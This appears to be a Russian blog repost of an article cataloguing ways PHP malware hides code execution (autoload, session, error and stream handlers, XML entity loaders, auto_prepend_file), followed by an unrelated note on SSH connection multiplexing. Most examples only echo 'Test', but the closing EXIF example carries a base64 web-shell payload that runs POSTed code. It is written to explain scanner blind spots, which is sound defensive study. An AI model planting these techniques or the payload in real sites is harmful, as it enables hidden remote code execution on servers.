В качестве примера вредоносного кода снова будем использовать вызов
echo 'Test'

Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.



Вариант №1: использование механизма autoload.

Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

<?php
function __autoload($classname) {
  echo 'Test';
}

//...
new myEvilClass();


Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

<?php
// php >= 5.3.0

class EvilClass {
    static public function evil($name) {
        echo 'Test';
    }
}

// ...

spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); 

// ...

new Malware; 


Вариант №3: использование обработчика сессии.

В момент создания сессии будет вызвана зарегистрированная функция.

<?php
function just_do_it() {
  echo 'Test';
}

// ...

$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();



Вариант №4: использование итератора.

Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.

<?php
$f = create_function('', "echo 'Test';");

// ...

$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));


Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php
function exception_handler($e) {
  preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
}

// ...

set_exception_handler('exception_handler');

// ...

throw new Exception('echo "Test";');


Вариант №6: использование обработчика ошибок.

Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
  array_map(create_function('', $errstr), array(''));
}

// ...

set_error_handler('error_handler');
$badcode = 'echo "Test";';

trigger_error($badcode, E_USER_ERROR); // или user_error();


Вариант №7: использование собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

<?php
// для php >= 5.4

$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;

$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
       array_reduce(array(''), create_function('', $public)); 
    }
);

// ...

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
@$dd->validate();


Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

<?php
class MalwareStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $f = create_function('', $url["host"]);
        $f();

        return true;
    }
}

// ...

stream_wrapper_register("malw", "MalwareStream");

// ...

$fp = fopen('malw://echo "Test";', '');


В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.


Бонус трек
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

php_value auto_prepend_file /images/stories/mycode.jpg


будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php
$a = `ls -la`; 
echo $a;


Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


А jpg файл выглядит примерно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...


Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».


http://habrahabr.ru/post/215817/

четверг, 20 марта 2014 г.

One authentication with multiple ssh terminals

The concept is very simple — rather than each new SSH connection to a particular server opening up a new TCP connection, you instead multiplex all of your SSH connections down one TCP connection. The authentication only happens once, when the TCP connection is opened, and thereafter all your extra SSH sessions are sent down that connection.

Host *
ControlMaster auto
ControlPath ~/.ssh/cm_socket/%r@%h:%p

Then mkdir ~/.ssh/cm_socket, and you’re away. Any time a connection to a remote server exists, it’ll be used as the master for any other connections.

All of your SSH sessions are multiplexed down a single TCP connection initiated by the first SSH session, that first session must stay alive until all of the other sessions are complete. This problem will manifest itself as an apparent “hang” when you log out of the remote session that is acting as the master — instead of getting your local prompt back, SSH will just sit there. If you Ctrl-C or otherwise kill this session, all of the other sessions you’ve got setup to that server will drop, so don’t do that. Instead, when you logout of all the other sessions, the master will then return to the local prompt.